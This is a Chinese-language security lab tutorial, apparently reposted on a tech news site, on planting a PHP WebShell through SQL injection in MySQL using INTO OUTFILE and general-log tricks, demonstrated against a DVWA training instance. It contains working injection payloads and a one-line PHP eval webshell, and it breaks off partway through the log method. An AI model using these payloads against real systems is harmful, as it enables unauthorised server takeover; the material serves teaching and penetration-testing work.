三大數(shù)據(jù)庫(kù)如何寫入WebShell?
WebShell作為黑客常用來(lái)提權(quán)的工具,通常出現(xiàn)在存在任意文件上傳漏洞的網(wǎng)站中,但如果遇到一個(gè)沒有任何的上傳點(diǎn)的網(wǎng)站,想通過文件上傳漏洞獲得權(quán)限顯然就行不通了,但所謂“山窮水盡疑無(wú)路,柳暗花明又一村”,此時(shí)一個(gè)SQL注入點(diǎn)擺在你眼前,你能否珍惜這來(lái)之不易的機(jī)會(huì),拿到WebShell呢?
本期美創(chuàng)安全實(shí)驗(yàn)室將帶大家了解,如何通過三大數(shù)據(jù)庫(kù) (MySQL、SqlServer、Oracle)獲取網(wǎng)站的WebShell。
MySQL寫入WebShell
01必備條件
想要成功向MySQL寫入WebShell需要至少滿足以下4個(gè)條件:
① 數(shù)據(jù)庫(kù)的當(dāng)前用戶為ROOT或擁有FILE權(quán)限;
② 知道網(wǎng)站目錄的絕對(duì)路徑;
③ PHP的GPC參數(shù)為off狀態(tài);
④ MySQL中的secure_file_priv參數(shù)不能為NULL狀態(tài)。
注意:關(guān)于其中第4點(diǎn),secure_file_priv參數(shù)是MySQL用來(lái)限制數(shù)據(jù)導(dǎo)入和導(dǎo)出操作的效果,如果這個(gè)參數(shù)被設(shè)為了一個(gè)目錄名,那么MySQL會(huì)允許僅在這個(gè)目錄中可以執(zhí)行文件的導(dǎo)入和導(dǎo)出,例如LOAD DATA、SELECT。。。INTOOUTFILE、LOAD_FILE()等。如果這個(gè)參數(shù)為NULL,MySQL會(huì)禁止導(dǎo)入導(dǎo)出操作,但是這只是意味著通過outfile方法寫入WebShell是無(wú)法成功的,但是通過導(dǎo)出日志的方法是可以的。
02寫入方法
向MySQL寫入WebShell的方式一共有兩種,分別是:1、使用outfile方法,2、基于log日志寫入法。
Outfile方法其實(shí)是MySQL提供的一個(gè)用來(lái)寫入文件的函數(shù),當(dāng)我們可以控制寫入的文件內(nèi)容以及文件的保存路徑時(shí),我們就可以達(dá)到傳入WebShell的目的。當(dāng)我們可以使用union查詢時(shí),我們構(gòu)造一個(gè)如下語(yǔ)句,就可以達(dá)到效果:
Union select “這里是WebShell” into outfile “Web目錄”;
當(dāng)我們無(wú)法使用union時(shí),還有一些其他方法也可以實(shí)現(xiàn)(利用分隔符寫入):
?id=1 INTO OUTFILE '物理路徑' lines terminatedby (這里是WebShell)#
?id=1 INTO OUTFILE '物理路徑' fields terminatedby (這里是WebShell)#
?id=1 INTO OUTFILE'物理路徑'columns terminatedby (這里是WebShell)#
?id=1 INTO OUTFILE '物理路徑' lines startingby (這里是WebShell)#
基于log日志寫入的方法其實(shí)是先將日志文件的導(dǎo)出目錄修改成Web目錄,然后執(zhí)行了一次簡(jiǎn)單的WebShell代碼查詢功能,此時(shí)日志文件記錄了此過程,這樣再Web目錄下的日志文件就變成了WebShell。例如,我們先設(shè)置日志文件的導(dǎo)出目錄:set global general_file = ‘Web目錄’;然后執(zhí)行一遍:select “WebShell代碼”;即可。
03使用OUTFILE方法寫入Webshell
(1)實(shí)驗(yàn)前準(zhǔn)備
檢查secure_file_priv是否開啟:show variables like‘%secure%’;確認(rèn)其不為NULL。有值或?yàn)榭斩伎梢浴#ㄈ羰菫镹ULL,則需要到my.ini文件中手動(dòng)修改)
圖1:檢查secure_file_priv是否開啟
檢查當(dāng)前用戶是否具備寫權(quán)限:selectuser,file_priv from mysql.user;確認(rèn)其用戶的值為Y即代表此用戶擁有文件寫入權(quán)限。
圖2:用戶是否具備寫權(quán)限
(2)確認(rèn)注入點(diǎn)
http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1;
參數(shù)ID存在SQL注入漏洞
http:/192.168.20.35/DVWA-master/vulnerabilities/sqli/?id=1’union select version(),user() #
圖3:確認(rèn)注入點(diǎn)
(3)利用outfile寫入shell文件
若secure_file_priv為空,則可以向任意目錄寫入文件,若secure_file_priv有值,則只能向該值指向的目錄寫入文件,因?yàn)槲覀兊闹禐榭,所以就任意目錄寫入,但因(yàn)檫需要工具進(jìn)行連接,所以最好放在網(wǎng)站的根目錄下。
PAYLOAD(使用Union查詢注入):1‘unionselect1,”<?phpeval(#_POST[‘pass’]); ?>” into outfile“F:PhpStudy20180211
PHPTutorialWWWTp.php” #
PAYLOAD(不用Union):1’intooutfile“F:Php、Study2018021PHPTutorialWWWTp.php” fields terminated by “<?phpeval(#_POST[‘pass’]); ?>” #
圖4:利用outfile寫入shell文件
文件已被寫入到網(wǎng)站的根目錄下,接下來(lái)就可以使用連接工具(蟻劍、菜刀、冰蝎等)進(jìn)行連接了。
圖5:網(wǎng)站根目錄
04使用導(dǎo)入日志的方法寫入Webshell
(1)實(shí)驗(yàn)前準(zhǔn)備:
檢查當(dāng)前MySQL下log日志是否開啟,以及l(fā)og的默認(rèn)地址在哪里:show variables like ‘%general%’;
圖6:檢查log日志是否開啟
發(fā)表評(píng)論
請(qǐng)輸入評(píng)論內(nèi)容...
請(qǐng)輸入評(píng)論/評(píng)論長(zhǎng)度6~500個(gè)字
圖片新聞
最新活動(dòng)更多
-
精彩回顧立即查看>> 【線下會(huì)議】OFweek 2024(第九屆)物聯(lián)網(wǎng)產(chǎn)業(yè)大會(huì)
-
精彩回顧立即查看>> 松下新能源中國(guó)布局:鋰一次電池新品介紹
-
精彩回顧立即查看>> 2024 智能家居出海論壇
-
精彩回顧立即查看>> 2024中國(guó)國(guó)際工業(yè)博覽會(huì)維科網(wǎng)·激光VIP企業(yè)展臺(tái)直播
-
精彩回顧立即查看>> 【產(chǎn)品試用】RSE30/60在線紅外熱像儀免費(fèi)試用
-
精彩回顧立即查看>> 2024(第五屆)全球數(shù)字經(jīng)濟(jì)產(chǎn)業(yè)大會(huì)暨展覽會(huì)
編輯推薦
- 高級(jí)軟件工程師 廣東省/深圳市
- 自動(dòng)化高級(jí)工程師 廣東省/深圳市
- 光器件研發(fā)工程師 福建省/福州市
- 銷售總監(jiān)(光器件) 北京市/海淀區(qū)
- 激光器高級(jí)銷售經(jīng)理 上海市/虹口區(qū)
- 光器件物理工程師 北京市/海淀區(qū)
- 激光研發(fā)工程師 北京市/昌平區(qū)
- 技術(shù)專家 廣東省/江門市
- 封裝工程師 北京市/海淀區(qū)
- 結(jié)構(gòu)工程師 廣東省/深圳市